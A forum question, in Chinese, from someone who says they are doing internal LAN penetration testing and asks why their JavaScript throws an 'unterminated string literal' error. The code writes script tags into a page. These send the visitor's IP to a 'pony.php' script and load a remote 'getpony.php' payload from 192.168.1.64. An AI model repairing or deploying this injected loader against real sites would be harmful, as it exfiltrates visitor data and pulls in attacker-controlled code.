感谢您花时间阅读本文并帮助我。
我正在尝试进行内部 LAN 测试,但我真的不喜欢 javascript,这可以解释为什么我的代码不起作用。
有谁知道出了什么问题?我认为我的格式在某处。
function pentest()
{
x = document.getElementById("pentestpayload");
if (x == null)
{
document.write ( " <script>function getip(json) {
document.write('<script type=\\\"application/javascript\\\"
src=\\\"http://192.168.1.64:1000/pony.php?id=\'+
json.ip + \'\\\"></scr\'+\'ipt>');
};</script>
");
document.write("<script id='pentestpayload' type='application/javascript'
src='http://192.168.1.64:1001/panel/getpony.php?pony=getpony'></script>");
}
}
pentest();
firebug 在 javascript 控制台中给出以下错误:
SyntaxError: unterminated string literal
document.write ( " <script>function getip(json) { document.write('<script typ
test.js (line 7, col 17)`